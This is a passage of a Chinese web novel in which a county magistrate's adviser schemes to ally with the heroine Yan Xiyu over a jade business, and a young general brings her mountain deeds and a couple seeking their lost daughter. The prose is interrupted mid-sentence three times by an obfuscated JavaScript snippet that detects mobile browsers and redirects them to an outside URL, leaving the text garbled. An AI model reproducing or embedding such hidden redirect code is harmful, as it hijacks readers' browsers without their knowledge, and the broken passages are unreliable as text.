“那……燕姑娘考虑师爷的提议吗?”刘知县瞥了一眼过来,“你只需要把石头送过来,其他的都交给我,我们四六分。” “你四我六?”燕惜妤问,“你这么大方?” 刘知县一时听不出她话里到底是褒还是贬,只能硬着头皮说:“那你七我三?” 燕惜妤想了一下,觉得这事可以考虑。 她只需要出石头,而刘知县需要做的事却很琐杂。 不只要出铺位,还要出人手,最重要的是雕刻这方面,这些手艺都是一代传一代的,普通人做不了。 而且刘知县有人脉,所以卖玉器比卖原石更赚钱。 想到这,燕惜妤点点头:“你四我六,但我需要叫一个人过来。” “叫谁过来?过来做什么?也像你一样好身手吗?”刘知县胆颤心惊地问。若又来一尊煞神,那还得了!! “我家人,过来给你帮忙,到时候能做什么就做什么,”燕惜妤看看他,“放心,也就我喜欢动手,其他人不会拆你屋子的。” 刘知县去看师爷,师爷对他点点头。 “那、那好吧,”刘知县只好憋屈道,“别把会打人的叫来,我这可是知县府,再过去就是衙门,众衙差那可都是在刀尖上行走的人。” 燕惜妤对他笑笑:“知县大人这话说的,我可是个好人。” 刘知县不敢答话,谁家好人会一出手就毁他一间书房和一座假山。 燕惜妤走向拉板车的马,那江老爷子和管家怀里都抱有石头,而江老爷子还在不停地挑来挑去。 太多了,这也是上等的,那也是上等的,这块舍不得,那块也想要。 “这这这、江老爷子还没选好,”管家硬着头皮说,“再容我们挑一会。” “你们慢慢挑,”燕惜妤解了马,然后牵着马往外走,“我回去了。” “啊?!”管家目瞪口呆地看着燕惜妤的背影,再看看那一板车的石头,“……这石头不要了?” 管家一脸茫然地看向刘知县。 刘知县没理他,正在和师爷小声嘀咕:“师爷,你怎么让本官同那尊煞神合作?!这不是要本官的命吗?!” “大人,此女子或和夷狄人有所关系,”师爷低声说,“这些原石夷可不是那么容易就能得到这么多的,夷狄人绝不可能会让大承商队赊账,可她之前连买座山头的钱都拿不出来,她能从大人您手中抢走座山,难道她还能在夷狄人手里抢走这些石头吗?” “为什么不能?”刘知县脱口而出,但却立即改口,“她可以和夷狄人以物换物。” 师爷说:“大人,我们之前没派人盯着她,或许她确是和夷狄人以物换物得来的这些石头,不知大人可有留意过这些石头?” “方才看了几眼,”刘知县用下巴指向江老爷子,“看江老爷子这样,就知道都是好石头。” “大人,这就是重点,”师爷低声说,“夷狄人奸诈阴险,大承商队和他们以物换物时,换来的石头那都是形状千奇百怪的,大小也差异很大,哪里有过这样一板车都是上等石头的。” “对啊!”刘知县这才醒觉过来,“以前江老爷子守着那些商队挑都挑不出一块好石头,她怎么能拉来这么一板车全是上好的石头?” 师爷说:“所以卑职才猜想,那燕姑娘定和夷狄人有些关系。” 刘知县边听边点头:“看来应该是了,夷狄分有不同族群,每个族群都有着各自的草原,那么多石头也不是随便就能捡到的,必定是有人特地捡给她的,还专挑好的捡给她。” “也有可能是她自己去挑的,”师爷说,“看那石头形状和大小,像是同一个人选出来的。” “她若真和夷狄人有关系……她还要了临阜山!”刘知县眼睛猛地瞪大,“她该不会是要联合夷狄复辟前朝吧?!!” “不会,”师爷却很是淡定,“大人莫非忘了,羿少将军被抓走的罪名就是勾结前朝余孽,那个燕姓女子说的就是这燕惜妤,可羿少将军被放回来了,那就证明她不是前朝皇族的后裔,她没那个资格,燕氏族人也不会听她的。” “对对对!师爷所言极是!”刘知县重重地点头,脸上的表情瞬间就放松了下来,“那依师爷的意思,本官同她合作是有利可图?” “那是自然,”师爷摸摸胡子,“大人不是一直害怕夷狄人有朝一日会再犯我大承吗,只要大人和她合作能赚到银钱,那她自然就会高兴,若有一日夷狄来犯,首当其冲的就是乌州,到时别说赚钱,就是想活着都难。” 刘知县越听越害怕:“师爷讲这些是想说什么?” 师爷眼中闪过精光:“大人,夷狄人若攻陷了乌州,燕姑娘就赚不到银钱,没银钱她就不高兴,她不高兴,就会出手杀人。” “!!”刘知县瞬间又瞪大了眼睛,“师爷是想借她的手,帮我们杀退夷狄人!!” “大人,”师爷对着刘知县躬身道,“大人一直害怕乌州会和夷狄有战争,若燕姑娘和羿家军联手,乌州定能无恙,而日后您和她合作做这玉石买卖,她也将会站在您的背后,大人,将来这乌州您能靠着她和羿家平分秋色。” “对对对!!”刘知县边听边点头,他一直想离开这鬼地方,一来这地界太穷,二来还有羿家在乌州一手遮天,他处处受制于人,这知县当得还不如羿家兵营里的一个教头! 可若是他能有燕惜妤撑腰…… “哈!哈!哈哈!”刘知县忽然发出几声大笑,吓得管家一哆嗦,手里的石头掉下来砸到他的脚。 “嗷!”管家一声惨叫反而把刘知县给吓到了。 不过他没生气,而是十分昂奋地转身走进书房:“我要给我父亲去封家书!” 师爷看着他的背影,眼神渐渐变得锋锐。 他早就知道刘知县的父亲刘尚书想让儿子日后接任乌州知州一职,而他之所以一直追随着刘知县,就是因为刘知县日后会当知州。 一州之长,手中所掌握着极大的权力。 而他若能成为知州的师爷,哪怕他只是师爷的身份,在乌州也能只手遮天。 师爷眼中闪过恨意。 到那时,他就能报仇了! “师爷,”刘知县在书房里喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164339|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 师爷眼皮一敛再一抬,就又是那正人君子的模样。 “大人,”师爷走进书房躬身问,“大人唤卑职所为何事?” “师爷,你说本官要不要把关于燕惜妤的事写信告知我父亲,”刘知县问他。 “大人,那燕姑娘之事,皇都该知晓的人定是已然知晓,否则九皇子又怎会千里迢迢来乌州,”师爷说,“大人先前说不想蹚这趟浑水,所以并没有让人盯着那燕姑娘,但其他几位大人可不是这么想的。” 刘知县冷笑两声:“郑知州和冯知县又岂会错过这等机会,说不定就是他们俩人联手助九皇子来抓羿衍椋的。” “这确实极有可能,”师爷点头。 刘知县忽然皱眉:“若是她被人盯着,那本官同她合作一事……岂不是人尽皆知?” “大人,”师爷躬身道,“如若卑职没猜错,该是已有不少人找过燕姑娘了。” “找过她了?”刘知县一愣,反问道,“那又如何?” 师爷提醒他:“大人,您看燕姑娘今日的神态,她不像是有事缠身的样子,这就说明那些找过她的人或事都被她解决了。” “你的意思是说……她不仅砸过我的书房和假山,她也去砸过别人?”刘知县一下子就坐直了腰,“好啊,别人也被她砸过,那本官就放心了。” “所以卑职才劝大人同燕姑娘合作,”师爷低声说,“其他几位大人定然也想与她交好,好在她住在边地,这对大人极为有利。” “这当然了,”刘知县立即抬高下巴,“她住在边地,就该归我泰县衙门管。” 师爷又说:“而且她对大人也是友好的。” “……她对我友好?”刘知县不敢相信师爷说的这句话。她一言不合就拆了他的书房和假发,怎么看都不像对他有半点友好。 “那是当然,”师爷笃定地说,“大人说要同她合作,她不仅同意,还把这一板车的石头都留在大人府里,这是她对大人的信任啊。” “对啊!她把石头全都留下了!”刘知县走到书房门口往外看。 书房外,管家正在一瘸一拐地帮着江老爷子搬着挑选出来的石头。 师爷在刘知县身后说:“大人,就凭这一板车的石头,燕姑娘就已经是站在大人您这一边的人了,她只要站在您这一边,您在乌州就能横着走。” “师爷所言极是!”刘知县昂奋地在书房里来回踱步,“在这乌州,什么律法什么富贵都是虚的,只要夷狄人一来,全都变成了滚落在地上的人头。” 所以羿家才能在这乌州一手遮天,知州知县都得避其锋芒,因为羿家手握兵权。 “以燕姑娘的身手,只要她在边地,来多少夷狄人都不是她的对手,”师爷说,“等大人借着她坐上这乌州知州的位子,到时大人就同燕姑娘互当靠山。” “什么叫互当靠山?”刘知县不解,“不是她给我当靠山吗?难道我还能给她当靠山?” “当然能!”师爷说,“就算您现在只是知县,您也能护着燕姑娘在泰县境内安然无恙,在没有战争时,您给她当靠山,让她赚到银子,还有其它的各种事情,您可是知县,外头那些人都想巴结您,您能为燕姑娘挡下不少麻烦事。” “你是说本官现在什么事都帮她,等日后乌州若是乱了,她就得帮本官帮乌州?”刘知县明白师爷的想法了。 师爷躬身:“大人英明!” 刘知县连忙问:“那你说,本官现在要怎么给她当靠山?” 师爷摸着他的胡子说:“自然是让燕姑娘在泰县能横着走。” 125. 第125章 燕惜妤前脚才刚回到边地,刘知县身边的师爷后脚就到了。 看着师爷从那豪华的马车下来,燕惜妤有点茫然地看着他:“师爷,你怎么会来?” “燕姑娘,”师爷对着燕惜妤拱手道,“鄙人姓薛,是来接人的。” “薛师爷,你来接谁?”燕惜妤问他。 “燕姑娘莫不是忘了,您与我家大人有合作,您说您这边派一人去帮忙,我是来接人的,”薛师爷的姿态和语气都很谦虚。 燕惜妤张了张嘴。 这么快就来接人了?我这才刚回来,连口水都还没有喝,你怎么比我还急?那玉石铺子难不成你也有份? “那你可能要等等,我家人在外面还没回来,”屋里只有桑大娘和几个小孩,其他人都出去了。 她隔着土院墙往外看了看。 因为知县府的这架马车太过于豪华,一进屯口就引得大家都来围观。 燕惜妤对着一个半大的小男娃说:“娃娃,你去地里把仲四叔喊回来。” 仲四在屯里杀过野猪和宰过羊,屯里大人小孩都认识他。 “好哎!”那娃娃蹦了两下,转身飞快地跑了。 “薛师爷请屋里坐,”燕惜妤招呼薛师爷。 薛师爷却摇头:“燕姑娘无需客气,我在这院子里坐着便好。” 燕惜妤看看那架豪华的马车,再看看薛师爷,总觉得这人过于高调了。 不过再想到之前那什么知州派来的师爷,对方的车马也很豪华,这应该是师爷统一的配置吧。 “那主随客便,薛师爷随便坐,”燕惜妤对薛师爷抬手。 薛师爷才刚坐下,院外就来了人,但不是仲四,而是梁屯长和杨元正。 “小的见过薛师爷,”梁屯长和杨元正一进院子就朝薛师爷躬身。 薛师爷虽然只是师爷,但他也是有功名在身的。而梁屯长虽然是屯长,但也只是白丁,在有功名的师爷面前,他表现的很谦恭。 “这俩位是?”薛师爷坐着问燕惜妤。 “这位是屯子的梁屯长,而那位是我布坊的杨管事,”燕惜妤对薛师爷说,“我还做着些其他的营生,梁屯长和杨管事都帮了我很大的忙。” “那你俩都是燕姑娘的人?”薛师爷点点头,“那日后我们就是自家人了。” 梁屯长连连点头:“薛师爷能看得上我等,是我等的荣幸,日后定当为燕姑娘和薛师爷效力。” “我可不敢和燕姑娘相提并论,”薛师爷意有所指地说,“我也只是听令行事。” 他这话已经讲的很明显,他只是师爷,有资格和燕惜妤相提并论的,是他背后之人。 梁屯长和杨元正都知道薛师爷是刘知县身边的师爷,那他背后之人自然就是刘知县。 梁屯长和杨元正一起看向燕惜妤。 燕惜妤看看薛师爷,总觉得他今日过于高调了,但他说的却是真话。 她点点头:“我平日不怎么管事,日后我身边之人就有劳薛师爷多照拂了。” “燕姑娘就像不提这些,刘府也会护着燕姑娘周全,”薛师爷说,“有我在,断不会叫人欺了您身边的人。” 这时,仲四回来了,一起回来的还有仲茂和罗采春等人。在他们身后,还跟着一连串过来看热闹的邻居。 “燕姑娘,”仲四讲话不利索,所以是仲茂开的口,“这位贵客是?” 燕惜妤看看薛师爷,见他完全没开口的意思,只能照实说:“这位是知县府中的薛师爷。” 在外边围成一圈的邻居顿时炸开了锅。 “知县府里师爷?!” “师爷?!” “是不是就是在衙门上站在县太爷身边的师爷?” “没错!那就是师爷!” “这师爷好生眼熟……这不就是咱泰县衙门的师爷吗?!” “你怎么晓得的?” “我去给衙门修过屋顶,当时小吏有些事做不了主,就是带着我们去请示的这位师爷!” “衙门不是县太爷做主吗?怎么去问师爷?” “县太爷忙着呢,衙门许多事都是师爷在管。” “师爷的权力这么大吗?” “那是当然!师爷可是有功名在身的!” “师爷是秀才还是举人来着?” “大多都是举人,也有极为厉害的秀长!” “举人……是不是能当官了?!” “对,当官的必须是举人出身。” “那这官老爷为什么要来找燕姑娘?” “难道又是像之前指使那帮黑衣人的师爷一样,想要来抢咱们屯里的营生?!” “不能让他们抢走!!” 这些人越说越不像话,燕惜妤连忙轻咳一声:“薛师爷是我的朋友,你们也别围着了,该干嘛干嘛去。” 大家才不走,一个个的都杵着不动弹。 燕姑娘既能和羿家少将军认识,又能和衙门的师爷认识,他们和燕姑娘住在同一屯里,也就是说他们也认识了少将军和师爷! 他们才不走,他们要留下来沾沾光! 燕惜妤也不可能把人赶走,院子是公用的,谁叫你家来了客人不进屋坐,非要坐在院子里让大家都看到呢。 燕惜妤这下可以肯定,薛师爷是故意要让大家知道她和刘知县是认识的。 但他为什么要这么做? 虽然这样做对她有好处,但对刘知县又能有什么好处呢? 燕惜妤一时想不明白。 薛师爷这时站了起来,他看看刚回来的仲茂等人,然后问燕惜妤:“燕姑娘,不知哪位是要到县里去帮忙的?” “哦,我让仲四哥去,”燕惜妤对仲四招手,“四哥你来。” 平日在家,大家都是互相喊名字的,唯当有外人在时,燕惜妤总是会把大家称作亲人。 仲四还在发愣,仲茂在他背后推了他一下,他这才慌忙走过来:“姑娘。” “四哥,我在县里同人一起做了玉石的买卖,我想让你去帮忙,”燕惜妤看他,“四哥要去吗?” 仲四平日讲话不利索,这会就更结巴了:“姑娘,我我我不不会讲讲话。” “没事,不在铺里帮忙,你去跟着老师父学,他教什么你就学什么,”燕惜妤笑着说,“不用紧张,实在学不会就回来杀猪宰羊,这不是什么非要学会的事,你就选去试试,见识一下,也就当是开了眼界了。” “我、还还还能回来?”仲四巴巴地看着燕惜妤。 “你不回来那你去哪?”燕惜妤不解地看着他,“家在这,家人也在这,你当然得回来。” “好!我去!”仲四攥紧了拳头。 “薛师爷,我让我四哥过去,他虽然平日不怎么说话,但他手上有力气,拿刀也很稳,你帮我把他安排到那位江匠师的身边,”燕惜妤看向薛师爷,“这事可以做到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173009|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “当然可以!燕姑娘放心,这时包在薛某身上。”薛师爷说完,又看向一旁非常紧张的仲四,“这位仁弟要是记挂着家里,我让马夫每天用马车送你回来。” “不用不用,只今日需薛师爷带他去认认路,”燕惜妤连忙摇头,“我们自己有马车,日后就不劳烦薛师爷了。” 这薛师爷真是见缝插针地想让大家都知道刘知县和她燕惜妤是认识的。 燕惜妤暂时想不出他这么做的原因,为了避免引起不必要的麻烦,她只能拒绝。 “既如此,那就听燕姑娘的,”薛师爷见好就收。 “燕姑娘,能否借一步说话?”这时杨元正忽然走了过来。 “薛师爷请先坐着,”燕惜妤带着杨元正向旁边走了几步,然后低声问他,“杨大叔,你有什么事?” “燕姑娘,不知随同薛师爷去县里的人,能不能再加上一位?”杨元正压低声音问。 再多加一人? 燕惜妤看看他:“加谁?加你杨家人?” “是,”杨元正低着头说,“孽子虽年少了些,却也识的几个字,我想让他在县里给仲四兄弟当童仆。” 杨元正的次子今年十三岁,已经在边地当了好几年的流放犯人,跟着大人下地做活,必要时还要去修护城墙。 那墙砖比他还要重,杨元正总怕他的儿子被压的再也挺不直腰背了。 燕惜妤认得他的儿子,看了眼院子外站着的人,她走到薛师爷面前轻声问:“薛师爷,不知我还能不能再多让一个人跟着去帮忙?” “当然可以!”薛师爷仍然是一脸的欣喜,“燕姑娘愿意让人过来帮忙,那自然是极好的。” “多谢薛师爷,日后就有劳薛师爷对他们多多照拂,”燕惜妤转身对杨元正点点头。 杨元正大喜,连忙走出院子把他的次子拉了进来:“燕姑娘,薛师爷,这是杨亦,日后就让他给仲四当童仆。” “薛师爷,就这俩人,劳薛师爷回去帮我在江老爷子多讲些好话,让江老爷子能允他们在跟前帮忙,”燕惜妤笑着对薛师爷说,“要是他们出了错,也劳薛师爷帮我管教,待再几日我去县里,再亲自骂他们。” “燕姑娘的话,薛某自会上心,”薛师爷也笑着一拱手,“那我同我家大人静待燕姑娘再次来府中做客。” 俩人又说了几句话,薛师爷就带着仲四和杨亦上了刘府那架豪华的马车,在一巷人火热的注视下,慢悠悠地离开了。 仲茂眼睁睁地看着他的兄弟坐上马车走了,这时还是懵的:“姑娘,老四怎的就能去当官的府上做活了?” 他虽然不清楚来龙去脉,但他听见了邻居之间的对话,他知道薛师爷是在衙门给县太爷当师爷的,也就是说仲四要去见到县太爷了?!! “仲茂兄弟啊!”梁屯长一巴掌拍在仲茂的肩上,“你真是身在福中不知福啊,你难道从来就没想过,咱家燕姑娘的人脉有多广吗!” “我还真没想过,”仲茂摇摇头,然后摇头的动作一顿,“我家燕姑娘怎也成你家的人?” “咱还要分你和我吗?”梁屯长痛心疾首,“仲茂兄弟,咱们不是一家人吗?” “不是啊,”仲茂连连摇头。 “你来,我同你细细说说这事,”梁屯长刚想搭着仲茂的肩膀友好交流一下,巷子口有人小跑了进来。 只听那人边跑边喊:“燕姑娘,又有人来找你了!” 126. 第126章 刚坐下的燕惜妤又站了起来:“我去看看是谁。” 她正要向外面走,之前一直躲在里屋的几个小娃咻一下蹿了出来。 “我们出去耍啦!” 小满儿跑在最前头,跟在她后面的,是双手捧着一个丑布玩偶的小玉彩。然后是小阿转,最后是抱着一只小狗的阿谦。 “燕姐姐,我去看着阿弟阿妹。”阿谦边向外走边回头说了句。 燕惜妤点点头,然后问身边的桑大娘:“大娘,咱家什么时候养的小狗?” 桑大娘说:“是前面那林姓老姐姐家的狗生的小狗,她特地问我要不要养一只,我就想着家里娃娃多,养只小狗跟着也好。” “等下我也要抱抱小狗,”燕惜妤笑着说,然后走出屋外。 她想看看是谁来了,结果一抬头,发现之前聚在小巷外凑热闹的邻居全都消失了。 嗯? 燕惜妤左右看了看,留意到邻居们全都跑回了各自的院子里站着。 之前薛师爷过来,他们不躲,这回怎么就躲开了? 燕惜妤走出院子伸长脖子朝巷口张望,一眼就看见了—— 羿家影卫?! 胸腔罩有护甲的玄色窄袖劲装,黑色面具,这身装束燕惜妤太熟悉了! 她大概数了一下,羿衍椋身边的羿家影卫全都来了。 难道羿衍椋又出事了? 燕惜妤皱眉看向被羿家影卫前右护卫在中间的那架豪华马车。 这马车比薛师爷刚才的马车还要豪华,而且还是双马拉车。 驾驭马车的人还是丁和。 燕惜妤看着丁和,发现对方脸上的表情很平和,不像是来请她帮忙救羿衍椋的。 那羿衍椋没出事? 可他没出事,怎么就坐这么豪华的马车过来?之前他不都是自己亲自骑马的吗? 难道受伤了?也不对,他受伤了不会乱跑,尤其不会跑来找她。 燕惜妤皱着眉头站在院门前,看见羿家影卫停下马,然后丁和也停下马车。 “燕姑娘,我家少将军过来找您,”丁和站在马车旁,等候羿衍椋从马车里出来。 羿衍椋今日这身不是之前闪闪发亮的银甲,而是一身藏青窄袖长袍,发髻上戴着嵌着黑玉的银冠。 燕惜妤看见他这俊雅的样子,要不是知道他是少将军,还以为他是一名书生公子。 羿衍椋看着燕惜妤说:“燕姑娘,我又来打扰了。” “进来吧,”燕惜妤对他笑,“你过来也这么高调。” 她明明没说其它的,但羿衍椋竟非常有默契地开口:“方才在屯口看见了刘知县的马车,丁和与马车上的薛师爷说了两句话。” 丁和这时正双手捧着好几个礼盒走过来:“燕姑娘,这是我家少将军的一点心意,请燕姑娘笑纳。” 燕惜妤看看羿衍椋,见他正看着自己,只能对站在旁边的仲茂点点头。 别人带礼物来做客,作为主人家,亲自接过礼物是对客人的重视。 “阿七,进来坐,”燕惜妤给羿衍椋带路。 桑大娘站在屋前:“阿七来了。” “桑大娘,”羿衍椋问她,“大娘近来可好?” “好好,”桑大娘笑着说,“老婆子我平日也就看看几个娃娃,闲得很。” “我这就这么简陋,你随便坐,”燕惜妤给羿衍椋拿碗倒水。 “军营就在这附近,我平日也是住着同这一样的屋子,”羿衍椋早就已经习惯了边地的贫苦,他还怕燕惜妤会住不惯,但看她的样子并不嫌弃边地的贫苦。 “也对,这边地你待的时候比我久,”燕惜妤单手枕着炕桌,看着羿衍椋问,“阿七怎么会忽然想到来找我?” 羿衍椋总觉得他来找她是有事,否则他不会像薛师爷似的,如此高调地过来。 羿家影卫全部都来了,还有一架那么豪丽的马车,虽然她和他相外的时间关不长,但这很明显不是阿七平日做事的性格。 “我带了俩个人过来见你,”羿衍椋脸上露出歉意,“他们此时人在马车里。” “还是找我的?”燕惜妤抬眼看向那停在小巷的马车,“皇都来的?” 羿衍椋笑笑:“燕姑娘果然聪慧。” 燕惜妤收回视线。 不是她聪慧,而是她和羿衍椋一起来的边地,之前一直没人来找她。但在羿衍椋去了一趟皇都之后,就带着人来找她,不用问都知道是从皇都过来的。 “那请客人进来坐吧,”燕惜妤想了想,迟疑地问,“是要我去马车吗?” “不是,”羿衍椋摇头,然后从怀中取出了几页纸张,“是我想先把这些交给你。” “是什么?”燕惜妤伸手接过,看了看才发现是山契,她拿着山契的手一顿,抬头看向羿衍椋,“阿七,这些山契为什么给我?” “我之前听你说买了临阜山,可临阜山跨了两境,我怕你做事遇到阻碍,就把临阜山附近的几座山头全都买下来,”羿衍椋看着燕惜妤,表情很认真,“这样你就能在山上做你想做的事情了。” 燕惜妤看着他,然后缓缓垂下眼看向手里拿着的山契,每份山契上写着的买主都是她的名字。 羿衍椋给她送了三座山头。 燕惜妤心中忽然泛起丝丝涟漪。 她之前下定决心去找知县买临阜山,是在把羿衍椋从牢车里救出来之后。 当时羿衍椋说他若是逃了,不仅大承容不下他,在大承之外也没他的容身之地,因为他是羿少将军,他带兵守着大承的国门,把想侵袭大承的异族都斩于刀下。 他若从大承往异族跑,异族或许会收留他,但更多的异族只想杀了他。 当时的燕惜妤为羿衍椋感到心酸,同时也想到了她和她身边的这些人。 她自己和罗采春都是从教坊司逃跑出来的,若有一日真被人发现了,她们该躲去哪里? 连身为少将军的阿七都没地方躲,那她们又该躲去哪里? 那一刻,燕惜妤想到了悬崖村那两不管的野猪领,也想到了两地衙门都不管的鬼山寨。 一座山,就因为跨了两地,就没人管了,任由野猪泛滥成灾进村伤人,也任由山匪拦路劫财奸掳烧杀。 既然如此,那她也想要有这么一座跨两境的山,大承不管,大承之外的异族也不管闯。 临阜山刚刚好就是这样的一座山。 她要临阜山,只是想给自己找靠山,在她和她身边的人,无路可走时能有个歇息喘气的地方。 她还想着要是阿七再遇到之前的事,她也要把阿七藏在山上,那阿七就有了能容身的地方。 但现在看来,阿七是误会了。 他以为她买山头是想在山上做些什么,大概是看她又建陶坊又开布坊,以为她想赚钱。 不过她确实也是想赚钱。 燕惜妤低头看着山契,羿衍椋见她久久不语,心中有些不安。 “你收下,就当作是之前丁和来寻你那事的谢礼,”羿衍椋其实不想这样讲,但他怕燕惜妤不收,她对他的好,又岂是几座山头就能抵消的。 “你要这样说,那我不能收,”燕惜妤把山契递回给羿衍椋。 羿衍椋垂着眼说:“其实不是,我……怕你不收,才提的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“什么事让我三姐为我做主啊?”燕惜妤一时半会猜不出来。她一个从婚姻自由的国度而来的人,还真是没往这方面想。 羿衍椋见她一脸疑惑地看过来,心中既羞又躁,在燕惜妤的注视下,耳朵悄悄地红了。 燕惜妤留意到他的耳朵变红,瞬间露出惊讶的表情。 羿衍椋一下子就蹿了出去:“我去把马车里的人请进来。”怎么看怎么像落慌而逃。 “我……”燕惜妤也不知道为什么,忽然也有些不好意思,“我出去迎一下客人,大娘你帮我收着这几份山契。” 桑大娘乐呵呵地点头:“好。” 等燕惜妤出到院子时,羿衍椋已经把马车里的人请了过来。 一共俩人,看着像是夫妇。衣裳的料子是丝绸,但颜色很雅淡,既让人看着很舒适,也不会过分显眼。 羿衍椋带着这俩人进来时,在院子中摞柴火的仲茂几人自然也看见了。 这时燕惜妤刚好出来,他们下意识看了看燕惜妤,然后再看向那对夫妇,竟觉得燕惜妤和这俩人很像。 羿衍椋之前也有这种感觉,但他不能肯定燕惜妤到底像这俩人中的哪一人。 而这时当燕惜妤站在对方的面前前,羿衍椋才惊觉,若燕惜妤和这妇人站在一起,会让人觉得她像这妇人。可要是燕惜妤和这男子站在一起,却又会让人觉得她像这男子。 当他们三人站在一起时,燕惜妤是既像妇人,又像男子。 燕惜妤正想上前同客人打声招呼,但一细看,她发现对面俩人的眼眶都红了。 127. 第127章 这是什么情况? 燕惜妤看看羿衍椋,发现他脸上的表情很复杂。 “阿七,这俩位是?”燕惜妤问羿衍椋,然后看向那对夫妇。 这俩人表情神态这会都很自然,刚才他们红着眼眶的样子仿佛是燕惜妤看花了眼。 那妇人先开了口:“燕姑娘,我与夫君从皇都而来,我姓盛,我夫君姓燕。” 姓燕? 燕惜妤又看了羿衍椋一眼,才对着客人福身道:“燕夫人,燕大人先请进屋。” 羿衍椋也走了过来:“燕叔叔,燕婶婶,先进屋再说。” 原本在屋里坐着的桑大娘这时不在,燕惜妤拿了两个陶碗分别给客人倒水:“燕大人,燕夫人请喝水,我这里没有茶叶,还请俩位多担待。” 盛珞瑶笑着接过燕惜妤递过来的碗:“燕姑娘无需把我们当作客人,你与我夫君同姓……祖上或许曾是一家。” 燕惜妤又看了眼羿衍椋。 她记得羿衍椋曾经说过,皇都关着一位姓燕的前朝皇族后裔,再联想到这俩人由羿家影卫护送过来,看来应该是皇都里的那位前朝皇族后裔。 但他为什么会带着夫人忽然来到这边地找她? “燕夫人很关心您夫君,”燕惜妤笑笑,“虽然我和燕大人同姓,祖上或许曾是一家,但也可能不是。” 反正这俩人和她没有关系,只凭一个姓氏,就算五百年前是一家,到现在也已经是陌生人。 她虽姓燕,但她不是前朝皇族后裔,她和眼前这对夫妇没有关系。 她心里是这么想的,嘴上也这么说,甚至脸上的表情也这样表露了出来。 羿衍椋看出燕惜妤不想和燕家扯上关系,可她姓燕,这点却无论如何也无法避开。 他看向盛珞瑶,又去看一直不发一言的燕清淮。 “不是就不是吧,”燕清淮这时忽然开口,“燕姑娘,你家人可好?” 燕惜妤表情不变,她点头:“都很好,多谢燕大人关心。” 她这一路走来,先有了三姐,后来又救了佟家姐弟,接着同行的人越来越多。她把他们都当作家人,现在家人都在身边,自然是很好。 “那就好,”燕清淮点点头,他看了看燕惜妤,又转头去看盛珞瑶,笑着说,“夫人,若我们的女儿在身边,或许也如同燕姑娘这般让我们觉得心安。” 他称赞燕惜妤不说秀外,不说慧中,却说心安。 燕惜妤垂了垂眼。 羿衍椋说过皇都只关着一位姓燕的人,那就证明他没有子女,否则他的子女也应该是姓燕。 或许随母亲姓盛? 但羿衍椋没说,那就是没有。 若女儿在身边…… 那这对夫妇是出来找女儿的? 他们在皇都听说边地有位姓燕的女子,以为是他们的女儿,所以就找来了? “是啊,”盛珞瑶笑了笑,眼底却泛起悲伤,“若我们的女儿在身边,也该是燕姑娘这般的年纪,所以我看着燕姑娘,仿佛看见了我们的女儿。” 燕惜妤又去看羿衍椋。 这人把这对夫妇带过来,事先一句提醒也没有,她有些话想说,但怕说出来会得罪人,也不知道会不会给阿七带来麻烦。 “燕姑娘怎的一直在看少将军?”盛珞瑶也去看羿衍椋,然后笑着说,“是有话想同他说?” “不是,我是有话想和你们说,”燕惜妤摇摇头,又看了一眼羿衍椋,“我怕说出来,你们会怪他。” “是什么话?你说,”盛珞瑶笑着说,“我们不会怪少将军的。” 燕惜妤又看了羿衍椋一眼,才看着眼前这对夫妇说:“你们的女儿不会喜欢你们把别的姑娘当成她,她要是知道了,会伤心的。” 盛珞瑶脸上的笑容缓缓地消失了,燕清淮伸手握着她的手,看着燕惜妤说:“是我们的错,冒犯了燕姑娘,也让我们的女儿心里不畅快。” 燕惜妤低头拿起水盅给羿衍椋的碗里添水,等放下水盅之后才说:“希望你们的女儿早日回到你们的身边。” 燕清淮笑笑,盛珞瑶没再多说话。 他们就只是看着坐在他们面前的这位姑娘。 长得真的太像他们了。 自从女儿被人盗走之后,他们每天无时无刻都在想着女儿。 到现在十八年了,他们的女儿不在他们的身边,已经十八年了。 女儿一天天长大了,也不知长得会像谁。 他们互相给彼此画画,照着双方的样子,凭着想象画出女儿的样子。 来边地之前,他们又画了女儿的画像。只不过画出来的,却像自己又像对方。 看着画像,他们也无法想象女儿的样子。画上的人是假的,他们的女儿或许长得不像他们。 但在看见燕惜妤的那一刻,盛珞瑶和燕清淮却俱是心头一震—— 太像了! 这位燕姑娘,太像他们亲手画出来的女儿了! 就好像画里的人从纸上走了出来,变成了眼前这人。 但…… 这长得极像他们的燕姑娘,或许并不是他们的女儿。 若真是他们的女儿,在从小和家人失散又忽然重逢时,不会像现在这般的淡定,甚至……是不喜。 他们能感受的到,燕惜妤不喜欢被他们说她像他们的女儿。 又或者是反过来,燕惜妤根本就不喜欢被他们拿来和他们的女儿作对比。 几人就这么安静地坐着,就在燕惜妤觉得自己身为主人家该说些什么时,外面忽然响起了小孩子的哭声。 听这哭声,像是小玉彩。 燕惜妤连忙站起来,她边说边往外走去:“阿七,帮我招待一下燕大人和燕夫人,我去去就回。” 看见她这么紧张走出去,羿衍椋等三人彼此看看,也跟着走了出去。 